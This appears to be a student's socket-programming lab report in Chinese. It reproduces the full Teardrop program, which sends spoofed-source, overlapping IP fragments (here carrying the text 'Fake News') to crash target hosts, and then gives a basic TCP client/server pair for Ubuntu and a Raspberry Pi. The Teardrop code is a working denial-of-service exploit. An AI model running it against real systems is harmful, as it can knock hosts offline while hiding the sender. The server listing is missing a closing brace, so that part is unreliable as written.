Socket编程实验

完成“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程，伪造一个虚假地址的IP包，包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。

1.创建一个.c文件并写入代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else  
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                        * withstand maybe 5 or 10 sometimes...  Experiment.*/
                    

void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);


int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    // 定义源地址和目的地址
    u_long src_ip = 0, dst_ip = 0;
    // 定义源端口和目的端口
    u_short src_prt = 0, dst_prt = 0;
    // 定义一个32位的IPv4地址
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");
    //创建原始套接字
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        fprintf(stderr, "raw socket");
        exit(1);
    }
    //设置套接字选项IP_HDRINCL
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
    (char *)&one, sizeof(one))< 0)
    {
        fprintf(stderr, "IP_HDRINCL");
        exit(1);
    }
    if (argc < 3)
        usage(argv[0]);
    // 设置源IP 和 目的IP
    if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's': // source port (should be emphemeral)
            src_prt = (u_short)atoi(optarg);
            break;
            case 't': // dest port (DNS, anyone?)
            dst_prt = (u_short)atoi(optarg);
            break;
            case 'n': // number to send
            count = atoi(optarg);
            break;
            default :
            usage(argv[0]);
            break; // NOTREACHED
        }
    }
    srandom((unsigned)(utimes("0",(time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)
    count = COUNT;
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    printf(" Amt: %5d\n", count);
    printf("[\n ");
    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        // printf("b00m ");
        usleep(500);
    }
    printf("]\n");
    return (0);
}


// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
    u_char byte; // a byte
    // 套接字地址结构
    struct sockaddr_in sin; /* socket protocol structure */
    sin.sin_family = AF_INET;
    sin.sin_port = src_prt;
    sin.sin_addr.s_addr = dst_ip;
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;
    flag = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    // IP version and header length
    byte = 0x45;
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2; // IP TOS (skipped)
    // total length
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242); // IP id
    p_ptr += 2;
    //IP frag flags and offset
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40; // IP TTL
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    // IP checksum filled in by kernel
    p_ptr += 4;
    // IP source address
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    // IP destination address
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt); // UDP source port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(PADDING); // UDP total length
    p_ptr += 4;
    
    // 发送数据：Fake News
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;

    int i=1;
    while(i <= 56)
    {
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    // IP total length is 2 bytes into the header
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    // IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    if (sendto(sock, packet, IPH+MAGIC+1, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}


// 获取主机信息
u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}


void usage(u_char *name)
{
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
    exit(0);
}

2编译并运行

3用wireshark验证

完成“网络编程技术”参考书上 “2.12 SOCKET应用实例”中的两个编程实例，并在ubuntu与树莓派之间进行验证

1再ubuntu下创建一个.c文件并写入代码，client端

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once

//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
	if(sa->sa_family == AF_INET)
	{
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(int argc, char *argv[])
{
	int sockfd, numbytes;
	char buf[MAXDATASIZE];
	struct addrinfo hints, *servinfo, *p;
	/*
	typedef struct addrinfo { 
    		int ai_flags;        //AI_PASSIVE,AI_CANONNAME,AI_NUMERICHOST 
    		int ai_family;        //AF_INET,AF_INET6 
    		int ai_socktype;    //SOCK_STREAM,SOCK_DGRAM 
    		int ai_protocol;    //IPPROTO_IP, IPPROTO_IPV4, IPPROTO_IPV6 etc. 
    		size_t ai_addrlen;            //must be zero or a null pointer 
    		char* ai_canonname;            //must be zero or a null pointer 
    		struct sockaddr* ai_addr;    //must be zero or a null pointer 
    		struct addrinfo* ai_next;    //must be zero or a null pointer 
	}
	其中ai_flags、ai_family、ai_socktype说明如下： 
	参数		取值			值	说明 
	ai_family	AF_INET			2	IPv4 
				AF_INET6		23	IPv6 
				AF_UNSPEC		0	协议无关 
	ai_protocol	IPPROTO_IP		0	IP协议 
				IPPROTO_IPV4    4   IPv4 
		        IPPROTO_IPV6    41  IPv6 
		        IPPROTO_UDP     17  UDP 
		        IPPROTO_TCP     6   TCP 
	ai_socktype SOCK_STREAM     1   流 
                SOCK_DGRAM      2   数据报 
	ai_flags    AI_PASSIVE      1   被动的，用于bind，通常用于server socket 
                AI_CANONNAME    2 
                AI_NUMERICHOST  4   地址为数字串 
	*/
	int rv;
	char s[INET6_ADDRSTRLEN];
	//如果命令行参数不等于 2 ，则执行下面的语句
	if(argc != 2)
	{
		fprintf(stderr, "usage:client hostname\n");  //打印错误消息
		exit(1);  //退出
	}
	//将hints内存的内容置 0
	memset(&hints, 0, sizeof hints);
	//设置协议无关
	hints.ai_family = AF_UNSPEC;
	//设置套接为流
	hints.ai_socktype = SOCK_STREAM;
	/*
	int getaddrinfo( const char *hostname, const char *service, 
		const struct addrinfo *hints, struct addrinfo **result );
	参数说明
	hostname:一个主机名或者地址串(IPv4的点分十进制串或者IPv6的16进制串)
	service：服务名可以是十进制的端口号，也可以是已定义的服务名称，如ftp、http等
	hints：可以是一个空指针，也可以是一个指向某个addrinfo结构体的指针，
		调用者在这个结构中填入关于期望返回的信息类型的暗示。
		举例来说：指定的服务既可支持TCP也可支持UDP，
		所以调用者可以把hints结构中的ai_socktype成员设置成SOCK_DGRAM，
		使得返回的仅仅是适用于数据报套接口的信息。
	result：本函数通过result指针参数返回一个指向addrinfo结构体链表的指针。
	返回值：0——成功，非0——出错

	getaddrinfo 函数能够处理名字到地址以及服务到端口这两种转换，
		返回的是一个sockaddr结构的链表而不是一个地址清单。
		这些sockaddr结构随后可由套接口函数直接使用。
		如此一来，getaddrinfo函数把协议相关性安全隐藏在这个库函数内部。
		应用程序只要处理由getaddrinfo函数填写的套接口地址结构。
	*/
	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
	{
		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
		return 1;
	}
	//遍历所有返回结果并链接到第一个成功连接的套接
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
		//创建一个套接字
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
			perror("client:socket");
			continue;
		}
		//连接状态判断
		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
			close(sockfd);
			perror("client:connect");
			continue;
		}
		//如果创建套接字成功且连接成功，则退出循环
		break;
	}
	//如果套接口地址为空，则打印结果
	if(p == NULL)
	{
		fprintf(stderr, "client:failed to connect\n");
		return 2;
	}
	//inet_ntop 函数可以将 IP 地址在“点分十进制”和“整数”之间转换
	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
	printf("client:connecting to %s\n",s);
	//freeaddrinfo 函数释放 getaddriinfo 函数返回的存储空间
	freeaddrinfo(servinfo);
	//recv 函数用于判断缓冲区数据传输的状态，传输异常则打印消息比并退出
	if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
	{
		perror("recv");
		exit(1);
	}
	//将字符数组的最后一位置 \0 ，用于后面一次性输出
	buf[numbytes] = '\0';
	printf("client:received %s\n",buf);
	close(sockfd);
	return 0;
}

2.在树莓派上创建一个.c文件并写入代码，server端：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define PORT "9090"  //the port users will be connecting to
#define BACKLOG 10  //how many pending connections queue will hold

void sigchld_handler(int s)
{
	//Waitpid temporarily stops the execution of the current process until a signal arrives or the child process terminates.
	while(waitpid(-1, NULL, WNOHANG) > 0);
}

//get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
	if(sa->sa_family == AF_INET)
	{
		return &(((struct sockaddr_in*)sa)->sin_addr);
	}
	return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{
	int sockfd, new_fd;  //listen on sock_fd,new connection on new_fd
	struct addrinfo hints, *servinfo, *p;
	struct sockaddr_storage their_addr;  //connector's address information
	socklen_t sin_size;
	//The data type "socklen_t" and int should have the same length. 
	//Otherwise, you break the padding of the BSD socket layer.
	struct sigaction sa;
	//Sigaction is a function that can be used to query or set up signal processing
	int yes = 1;
	char s[INET6_ADDRSTRLEN];
	int rv;
	//Set the Hints memory to zero
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_flags = AI_PASSIVE;  //use my IP

	if((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0)
	{
		fprintf(stderr, "getaddrinfo:%s\n", gai_strerror(rv));
		return 1;
	}
	//loop through all the results and bind to the first we can
	for(p = servinfo; p != NULL; p = p->ai_next)
	{
		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
		{
			perror("server:socket");
			continue;
		}

		if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
		{
			perror("setsockopt");
			exit(1);
		}

		if(bind(sockfd, p->ai_addr, p->ai_addrlen) == -1)
		{
			close(sockfd);
			perror("server:bind");
			continue;
		}

		break;
	}
	//If the pointer P is null, an error message is printed
	if(p == NULL)
	{
		fprintf(stderr, "server:failed to bind\n");
		return 2;
	}
	//all done with this structure
	freeaddrinfo(servinfo);
	/*
	Leave a socket in the state of listening for incoming connection requests
	If the listening fails, exit
	*/
	if(listen(sockfd, BACKLOG) == -1)
	{
		perror("listen");
		exit(1);
	}

	sa.sa_handler = sigchld_handler;  //reap all dead processes
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_RESTART;
	if(sigaction(SIGCHLD, &sa, NULL) == -1)
	{
		perror("sigaction");
		exit(1);
	}
	printf("server:waiting for connections...\n");
	//main accept() loop
	while(1) 
	{
		sin_size = sizeof their_addr;
		new_fd = accept(sockfd, (struct sockaddr*)&their_addr, &sin_size);
		if(new_fd == -1)
		{
			perror("accept");
			continue;
		}

		inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr*)&their_addr), s, sizeof s);
		printf("server:got connection from %s\n",s);

		if(!fork())  //this is the child process
		{
			close(sockfd);  //child doesn't need the listener
			if(send(new_fd, "Hello,world!", 13, 0) == -1)
				perror("send");
			close(new_fd);
			exit(0);
		}
		close(new_fd);  //parent doesn't need this
	
	return 0;
}

3.把他们编译并运行